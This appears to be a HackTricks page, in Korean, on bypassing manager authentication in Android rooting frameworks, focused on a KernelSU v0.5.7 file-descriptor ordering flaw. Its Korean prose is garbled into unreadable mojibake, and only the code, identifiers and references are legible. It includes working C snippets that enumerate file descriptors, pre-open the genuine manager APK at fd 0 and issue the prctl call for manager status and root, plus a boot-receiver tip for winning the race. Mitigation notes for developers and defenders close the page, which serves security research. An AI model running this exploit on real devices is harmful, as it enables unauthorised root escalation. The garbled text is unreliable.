Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
KernelSU, APatch, SKRoot ๋ฐ Magisk์ ๊ฐ์ ๋ฃจํ ํ๋ ์์ํฌ๋ Linux/Android ์ปค๋์ ์์ฃผ ํจ์นํ๊ณ ํํน๋ ์์คํ ํธ์ถ์ ํตํด ๋นํน๊ถ ์ฌ์ฉ์ ๊ณต๊ฐ โ๊ด๋ฆฌ์โ ์ฑ์ ํน๊ถ ๊ธฐ๋ฅ์ ๋ ธ์ถํฉ๋๋ค. ๊ด๋ฆฌ์ ์ธ์ฆ ๋จ๊ณ์ ๊ฒฐํจ์ด ์๋ ๊ฒฝ์ฐ, ๋ชจ๋ ๋ก์ปฌ ์ฑ์ด ์ด ์ฑ๋์ ์ ๊ทผํ์ฌ ์ด๋ฏธ ๋ฃจํ ๋ ์ฅ์น์์ ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค.
์ด ํ์ด์ง๋ ๊ณต๊ฐ ์ฐ๊ตฌ์์ ๋ฐ๊ฒฌ๋ ๊ธฐ์ ๊ณผ ํจ์ ์ ์ถ์ํํ์ฌ(ํนํ Zimperium์ KernelSU v0.5.7 ๋ถ์) ๋ ๋ ํ๊ณผ ๋ธ๋ฃจ ํ์ด ๊ณต๊ฒฉ ํ๋ฉด, ์ทจ์ฝ์ ์์ ๋ฐ ๊ฐ๋ ฅํ ์ํ ๋ฐฉ๋ฒ์ ์ดํดํ๋ ๋ฐ ๋์์ ์ค๋๋ค.
์ํคํ ์ฒ ํจํด: ์์คํ ํธ์ถ ํํน๋ ๊ด๋ฆฌ์ ์ฑ๋
- ์ปค๋ ๋ชจ๋/ํจ์น๊ฐ ์์คํ ํธ์ถ(์ผ๋ฐ์ ์ผ๋ก prctl)์ ํํนํ์ฌ ์ฌ์ฉ์ ๊ณต๊ฐ์์ โ๋ช ๋ นโ์ ์์ ํฉ๋๋ค.
- ํ๋กํ ์ฝ์ ์ผ๋ฐ์ ์ผ๋ก: magic_value, command_id, arg_ptr/len โฆ
- ์ฌ์ฉ์ ๊ณต๊ฐ ๊ด๋ฆฌ์ ์ฑ์ด ๋จผ์ ์ธ์ฆํฉ๋๋ค(์: CMD_BECOME_MANAGER). ์ปค๋์ด ํธ์ถ์๋ฅผ ์ ๋ขฐํ ์ ์๋ ๊ด๋ฆฌ์๋ผ๊ณ ํ์ํ๋ฉด ํน๊ถ ๋ช ๋ น์ด ์๋ฝ๋ฉ๋๋ค:
- ํธ์ถ์์๊ฒ ๋ฃจํธ ๊ถํ ๋ถ์ฌ(์: CMD_GRANT_ROOT)
- su์ ๋ํ ํ์ฉ ๋ชฉ๋ก/๊ฑฐ๋ถ ๋ชฉ๋ก ๊ด๋ฆฌ
- SELinux ์ ์ฑ ์กฐ์ (์: CMD_SET_SEPOLICY)
- ๋ฒ์ /๊ตฌ์ฑ ์ฟผ๋ฆฌ
- ๋ชจ๋ ์ฑ์ด ์์คํ ํธ์ถ์ ํธ์ถํ ์ ์๊ธฐ ๋๋ฌธ์ ๊ด๋ฆฌ์ ์ธ์ฆ์ ์ ํ์ฑ์ด ์ค์ํฉ๋๋ค.
์์ (KernelSU ์ค๊ณ):
- ํํน๋ ์์คํ ํธ์ถ: prctl
- KernelSU ํธ๋ค๋ฌ๋ก ์ ํํ๊ธฐ ์ํ ๋งค์ง ๊ฐ: 0xDEADBEEF
- ๋ช ๋ น์๋ ๋ค์์ด ํฌํจ๋ฉ๋๋ค: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT ๋ฑ.
KernelSU v0.5.7 ์ธ์ฆ ํ๋ฆ (๊ตฌํ๋ ๋๋ก)
์ฌ์ฉ์ ๊ณต๊ฐ์ด prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, โฆ)๋ฅผ ํธ์ถํ๋ฉด KernelSU๋ ๋ค์์ ํ์ธํฉ๋๋ค:
- ๊ฒฝ๋ก ์ ๋์ฌ ํ์ธ
- ์ ๊ณต๋ ๊ฒฝ๋ก๋ ํธ์ถ์ UID์ ๋ํ ์์ ์ ๋์ฌ๋ก ์์ํด์ผ ํฉ๋๋ค. ์: /data/data/
๋๋ /data/user/ / . - ์ฐธ์กฐ: core_hook.c (v0.5.7) ๊ฒฝ๋ก ์ ๋์ฌ ๋ ผ๋ฆฌ.
- ์์ ๊ถ ํ์ธ
- ๊ฒฝ๋ก๋ ํธ์ถ์ UID๊ฐ ์์ ํด์ผ ํฉ๋๋ค.
- ์ฐธ์กฐ: core_hook.c (v0.5.7) ์์ ๊ถ ๋ ผ๋ฆฌ.
- FD ํ ์ด๋ธ ์ค์บ์ ํตํ APK ์๋ช ํ์ธ
- ํธ์ถ ํ๋ก์ธ์ค์ ์ด๋ฆฐ ํ์ผ ์ค๋ช ์(FD)๋ฅผ ๋ฐ๋ณตํฉ๋๋ค.
- ๊ฒฝ๋ก๊ฐ /data/app/*/base.apk์ ์ผ์นํ๋ ์ฒซ ๋ฒ์งธ ํ์ผ์ ์ ํํฉ๋๋ค.
- APK v2 ์๋ช ์ ๊ตฌ๋ฌธ ๋ถ์ํ๊ณ ๊ณต์ ๊ด๋ฆฌ์ ์ธ์ฆ์์ ๋น๊ตํ์ฌ ํ์ธํฉ๋๋ค.
- ์ฐธ์กฐ: manager.c (FD ๋ฐ๋ณต), apk_sign.c (APK v2 ํ์ธ).
๋ชจ๋ ๊ฒ์ฌ๊ฐ ํต๊ณผํ๋ฉด ์ปค๋์ ๊ด๋ฆฌ์์ UID๋ฅผ ์ผ์์ ์ผ๋ก ์บ์ํ๊ณ ํด๋น UID์์ ํน๊ถ ๋ช ๋ น์ ์๋ฝํฉ๋๋ค.
์ทจ์ฝ์ ํด๋์ค: FD ๋ฐ๋ณต์์ โ์ฒซ ๋ฒ์งธ ์ผ์นํ๋ APKโ๋ฅผ ์ ๋ขฐํ๊ธฐ
์๋ช ํ์ธ์ด ํ๋ก์ธ์ค FD ํ ์ด๋ธ์์ ๋ฐ๊ฒฌ๋ โ์ฒซ ๋ฒ์งธ ์ผ์นํ๋ /data/app/*/base.apkโ์ ๋ฐ์ธ๋ฉ๋๋ฉด, ์ค์ ๋ก ํธ์ถ์์ ํจํค์ง๋ฅผ ํ์ธํ์ง ์์ต๋๋ค. ๊ณต๊ฒฉ์๋ ํฉ๋ฒ์ ์ผ๋ก ์๋ช ๋ APK(์ค์ ๊ด๋ฆฌ์)๋ฅผ ๋ฏธ๋ฆฌ ๋ฐฐ์นํ์ฌ ์์ ์ base.apk๋ณด๋ค FD ๋ชฉ๋ก์์ ๋ ์ผ์ฐ ๋ํ๋๊ฒ ํ ์ ์์ต๋๋ค.
์ด ๊ฐ์ ์ ๋ขฐ๋ ๋นํน๊ถ ์ฑ์ด ๊ด๋ฆฌ์์ ์๋ช ํค๋ฅผ ์์ ํ์ง ์๊ณ ๋ ๊ด๋ฆฌ์๋ฅผ ๊ฐ์ฅํ ์ ์๊ฒ ํฉ๋๋ค.
์ ์ฉ๋๋ ์ฃผ์ ์์ฑ:
- FD ์ค์บ์ ํธ์ถ์์ ํจํค์ง ID์ ๋ฐ์ธ๋ฉ๋์ง ์์ผ๋ฉฐ, ๊ฒฝ๋ก ๋ฌธ์์ด๋ง ํจํด ์ผ์นํฉ๋๋ค.
- open()์ ์ฌ์ฉ ๊ฐ๋ฅํ ๊ฐ์ฅ ๋ฎ์ FD๋ฅผ ๋ฐํํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ๋ฎ์ ๋ฒํธ์ FD๋ฅผ ๋จผ์ ๋ซ์์ผ๋ก์จ ์์๋ฅผ ์ ์ดํ ์ ์์ต๋๋ค.
- ํํฐ๋ ๊ฒฝ๋ก๊ฐ /data/app/*/base.apk์ ์ผ์นํ๋์ง๋ง ํ์ธํ๋ฉฐ, ํธ์ถ์์ ์ค์น๋ ํจํค์ง์ ์ผ์นํ๋์ง๋ ํ์ธํ์ง ์์ต๋๋ค.
๊ณต๊ฒฉ ์ ์ ์กฐ๊ฑด
- ์ฅ์น๋ ์ด๋ฏธ ์ทจ์ฝํ ๋ฃจํ ํ๋ ์์ํฌ(์: KernelSU v0.5.7)๋ก ๋ฃจํ ๋์ด ์์ต๋๋ค.
- ๊ณต๊ฒฉ์๋ ๋ก์ปฌ์์ ์์์ ๋นํน๊ถ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค(์๋๋ก์ด๋ ์ฑ ํ๋ก์ธ์ค).
- ์ค์ ๊ด๋ฆฌ์๊ฐ ์์ง ์ธ์ฆ๋์ง ์์์ต๋๋ค(์: ์ฌ๋ถํ ์งํ). ์ผ๋ถ ํ๋ ์์ํฌ๋ ์ฑ๊ณต ํ ๊ด๋ฆฌ์ UID๋ฅผ ์บ์ํฉ๋๋ค; ๊ฒฝ์์์ ์ด๊ฒจ์ผ ํฉ๋๋ค.
์ทจ์ฝ์ ๊ฐ์ (KernelSU v0.5.7)
๊ณ ์์ค ๋จ๊ณ:
- ์ ๋์ฌ ๋ฐ ์์ ๊ถ ๊ฒ์ฌ๋ฅผ ๋ง์กฑ์ํค๊ธฐ ์ํด ์์ ์ ์ฑ ๋ฐ์ดํฐ ๋๋ ํ ๋ฆฌ์ ๋ํ ์ ํจํ ๊ฒฝ๋ก๋ฅผ ๊ตฌ์ถํฉ๋๋ค.
- ์ง์ง KernelSU ๊ด๋ฆฌ์ base.apk๊ฐ ์์ ์ base.apk๋ณด๋ค ๋ฎ์ ๋ฒํธ์ FD์์ ์ด๋ ค ์๋์ง ํ์ธํฉ๋๋ค.
- prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, โฆ)๋ฅผ ํธ์ถํ์ฌ ๊ฒ์ฌ๋ฅผ ํต๊ณผํฉ๋๋ค.
- CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY์ ๊ฐ์ ํน๊ถ ๋ช ๋ น์ ๋ฐํํ์ฌ ๊ถํ ์์น์ ์ง์ํฉ๋๋ค.
2๋จ๊ณ์ ๋ํ ์ค์ฉ์ ์ธ ๋ฉ๋ชจ (FD ์์):
- /proc/self/fd ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ํตํด ์์ ์ /data/app/*/base.apk์ ๋ํ ํ๋ก์ธ์ค์ FD๋ฅผ ์๋ณํฉ๋๋ค.
- ๋ฎ์ FD(์: stdin, fd 0)๋ฅผ ๋ซ๊ณ ํฉ๋ฒ์ ์ธ ๊ด๋ฆฌ์ APK๋ฅผ ๋จผ์ ์ด์ด fd 0(๋๋ ์์ ์ base.apk fd๋ณด๋ค ๋ฎ์ ์ธ๋ฑ์ค)์ ์ฐจ์งํ๊ฒ ํฉ๋๋ค.
- ํฉ๋ฒ์ ์ธ ๊ด๋ฆฌ์ APK๋ฅผ ์์ ์ ์ฑ๊ณผ ํจ๊ป ๋ฒ๋ค๋ก ๋ฌถ์ด ๊ฒฝ๋ก๊ฐ ์ปค๋์ ๋จ์ ํํฐ๋ฅผ ๋ง์กฑํ๋๋ก ํฉ๋๋ค. ์๋ฅผ ๋ค์ด, /data/app/*/base.apk์ ์ผ์นํ๋ ํ์ ๊ฒฝ๋ก์ ๋ฐฐ์นํฉ๋๋ค.
์์ ์ฝ๋ ์ค๋ํซ (Android/Linux, ์ค๋ช ์ฉ๋ง):
์ด๋ฆฐ FD๋ฅผ ์ด๊ฑฐํ์ฌ base.apk ํญ๋ชฉ์ ์ฐพ๊ธฐ:
#include <dirent.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int find_first_baseapk_fd(char out_path[PATH_MAX]) {
DIR *d = opendir("/proc/self/fd");
if (!d) return -1;
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
int best_fd = -1;
while ((e = readdir(d))) {
if (e->d_name[0] == '.') continue;
int fd = atoi(e->d_name);
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
ssize_t n = readlink(link, p, sizeof(p)-1);
if (n <= 0) continue; p[n] = '\0';
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
if (best_fd < 0 || fd < best_fd) {
best_fd = fd; strncpy(out_path, p, PATH_MAX);
}
}
}
closedir(d);
return best_fd; // First (lowest) matching fd
}
๋ฎ์ ๋ฒํธ์ FD๊ฐ ์ ๋นํ ๋งค๋์ APK๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ๊ฐ์ ํฉ๋๋ค:
#include <fcntl.h>
#include <unistd.h>
void preopen_legit_manager_lowfd(const char *legit_apk_path) {
// Reuse stdin (fd 0) if possible so the next open() returns 0
close(0);
int fd = open(legit_apk_path, O_RDONLY);
(void)fd; // fd should now be 0 if available
}
๋งค๋์ ์ธ์ฆ์ prctl ํ ์ ํตํด:
#include <sys/prctl.h>
#include <stdint.h>
#define KSU_MAGIC 0xDEADBEEF
#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific
static inline long ksu_call(unsigned long cmd, unsigned long arg2,
unsigned long arg3, unsigned long arg4) {
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
}
int become_manager(const char *my_data_dir) {
long result = -1;
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
return (int)result;
}
์ฑ๊ณต ํ, ๊ถํ ์๋ ๋ช ๋ น์ด (์์):
- CMD_GRANT_ROOT: ํ์ฌ ํ๋ก์ธ์ค๋ฅผ ๋ฃจํธ๋ก ์น๊ฒฉ
- CMD_ALLOW_SU: ์ง์์ ์ธ su๋ฅผ ์ํด ํจํค์ง/UID๋ฅผ ํ์ฉ ๋ชฉ๋ก์ ์ถ๊ฐ
- CMD_SET_SEPOLICY: ํ๋ ์์ํฌ์์ ์ง์ํ๋ ๋๋ก SELinux ์ ์ฑ ์กฐ์
๊ฒฝ์/์ง์์ฑ ํ:
- AndroidManifest์ BOOT_COMPLETED ์์ ๊ธฐ๋ฅผ ๋ฑ๋กํ์ฌ ์ฌ๋ถํ ํ ์กฐ๊ธฐ์ ์์ํ๊ณ ์ค์ ๊ด๋ฆฌ์ ์ด์ ์ ์ธ์ฆ์ ์๋ํฉ๋๋ค.
ํ์ง ๋ฐ ์ํ ์ง์นจ
ํ๋ ์์ํฌ ๊ฐ๋ฐ์๋ฅผ ์ํด:
- ์ธ์ฆ์ ํธ์ถ์์ ํจํค์ง/UID์ ๋ฐ์ธ๋ฉํ๊ณ ์์์ FD์ ๋ฐ์ธ๋ฉํ์ง ๋ง์ญ์์ค:
- UID์์ ํธ์ถ์์ ํจํค์ง๋ฅผ ํด๊ฒฐํ๊ณ FD๋ฅผ ์ค์บํ๋ ๋์ ์ค์น๋ ํจํค์ง์ ์๋ช (ํจํค์ง ๊ด๋ฆฌ์ ํตํด)๊ณผ ๊ฒ์ฆํฉ๋๋ค.
- ์ปค๋ ์ ์ฉ์ธ ๊ฒฝ์ฐ, ์์ ์ ์ธ ํธ์ถ์ ์ ์(์์ ์๊ฒฉ ์ฆ๋ช )์ ์ฌ์ฉํ๊ณ ํ๋ก์ธ์ค FD๊ฐ ์๋ init/userspace ๋์ฐ๋ฏธ๊ฐ ๊ด๋ฆฌํ๋ ์์ ์ ์ธ ์ง์ค์ ์ถ์ฒ์์ ๊ฒ์ฆํฉ๋๋ค.
- ์ ์์ผ๋ก์ ๊ฒฝ๋ก ์ ๋์ฌ ๊ฒ์ฌ๋ฅผ ํผํ์ญ์์ค; ํธ์ถ์๊ฐ ์ฝ๊ฒ ๋ง์กฑ์ํฌ ์ ์์ต๋๋ค.
- ์ฑ๋์ ํตํ ๋ ผ์ค ๊ธฐ๋ฐ ์ฑ๋ฆฐ์ง-์๋ต์ ์ฌ์ฉํ๊ณ ๋ถํ ์ ๋๋ ์ฃผ์ ์ด๋ฒคํธ์์ ์บ์๋ ๊ด๋ฆฌ์ ์ ์์ ์ง์๋๋ค.
- ๊ฐ๋ฅํ ๊ฒฝ์ฐ ์ผ๋ฐ ์์คํ ํธ์ถ์ ๊ณผ๋ถํํ๋ ๋์ ๋ฐ์ธ๋ ๊ธฐ๋ฐ ์ธ์ฆ IPC๋ฅผ ๊ณ ๋ คํ์ญ์์ค.
์๋น์/๋ธ๋ฃจ ํ์ ์ํด:
- ๋ฃจํ ํ๋ ์์ํฌ ๋ฐ ๊ด๋ฆฌ์ ํ๋ก์ธ์ค์ ์กด์ฌ๋ฅผ ํ์งํฉ๋๋ค; ์ปค๋ ํ ๋ ๋ฉํธ๋ฆฌ๊ฐ ์๋ ๊ฒฝ์ฐ ์์ฌ์ค๋ฌ์ด ๋งค์ง ์์(์: 0xDEADBEEF)๊ฐ ์๋ prctl ํธ์ถ์ ๋ชจ๋ํฐ๋งํฉ๋๋ค.
- ๊ด๋ฆฌ๋๋ ํ๋ฆฟ์์ ๋ถํ ํ ๋น ๋ฅด๊ฒ ๊ถํ ์๋ ๊ด๋ฆฌ์ ๋ช ๋ น์ ์๋ํ๋ ์ ๋ขฐํ ์ ์๋ ํจํค์ง์ ๋ถํ ์์ ๊ธฐ๋ฅผ ์ฐจ๋จํ๊ฑฐ๋ ๊ฒฝ๊ณ ํฉ๋๋ค.
- ์ฅ์น๊ฐ ํจ์น๋ ํ๋ ์์ํฌ ๋ฒ์ ์ผ๋ก ์ ๋ฐ์ดํธ๋์๋์ง ํ์ธํฉ๋๋ค; ์ ๋ฐ์ดํธ ์ ์บ์๋ ๊ด๋ฆฌ์ ID๋ฅผ ๋ฌดํจํํฉ๋๋ค.
๊ณต๊ฒฉ์ ํ๊ณ:
- ์ด๋ฏธ ์ทจ์ฝํ ํ๋ ์์ํฌ๋ก ๋ฃจํ ๋ ์ฅ์น์๋ง ์ํฅ์ ๋ฏธ์นฉ๋๋ค.
- ์ผ๋ฐ์ ์ผ๋ก ํฉ๋ฒ์ ์ธ ๊ด๋ฆฌ์๊ฐ ์ธ์ฆ๋๊ธฐ ์ ์ ์ฌ๋ถํ /๊ฒฝ์ ์ฐฝ์ด ํ์ํฉ๋๋ค(์ผ๋ถ ํ๋ ์์ํฌ๋ ๊ด๋ฆฌ์ UID๋ฅผ ์ฌ์ค์ ํ ๋๊น์ง ์บ์ํฉ๋๋ค).
ํ๋ ์์ํฌ ๊ฐ ๊ด๋ จ ๋ ธํธ
- ๋น๋ฐ๋ฒํธ ๊ธฐ๋ฐ ์ธ์ฆ(์: ์ญ์ฌ์ APatch/SKRoot ๋น๋)์ ๋น๋ฐ๋ฒํธ๊ฐ ์ถ์ธก ๊ฐ๋ฅํ๊ฑฐ๋ ๋ฌด์ฐจ๋ณ ๋์ ๊ฐ๋ฅํ๊ฑฐ๋ ๊ฒ์ฆ์ด ๋ฒ๊ทธ๊ฐ ์๋ ๊ฒฝ์ฐ ์ฝํ ์ ์์ต๋๋ค.
- ํจํค์ง/์๋ช ๊ธฐ๋ฐ ์ธ์ฆ(์: KernelSU)์ ์์น์ ์ผ๋ก ๋ ๊ฐํ์ง๋ง ์ค์ ํธ์ถ์์ ๋ฐ์ธ๋ฉํด์ผ ํ๋ฉฐ FD ์ค์บ๊ณผ ๊ฐ์ ๊ฐ์ ์ ์ธ ์ธ๊ณต๋ฌผ์ ๋ฐ์ธ๋ฉํด์๋ ์ ๋ฉ๋๋ค.
- Magisk: CVE-2024-48336 (MagiskEoP)๋ ์ฑ์ํ ์ํ๊ณ์กฐ์ฐจ๋ ๊ด๋ฆฌ์ ์ปจํ ์คํธ ๋ด์์ ์ฝ๋ ์คํ์ผ๋ก ์ด์ด์ง๋ ์ ์ ์คํธํ์ ์ทจ์ฝํ ์ ์์์ ๋ณด์ฌ์ฃผ์์ต๋๋ค.
์ฐธ์กฐ
- Zimperium โ The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device
- KernelSU v0.5.7 โ core_hook.c path checks (L193, L201)
- KernelSU v0.5.7 โ manager.c FD iteration/signature check (L43+)
- KernelSU โ apk_sign.c APK v2 verification (main)
- KernelSU project
- APatch
- SKRoot
- MagiskEoP โ CVE-2024-48336
- KSU PoC demo video (Wistia)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


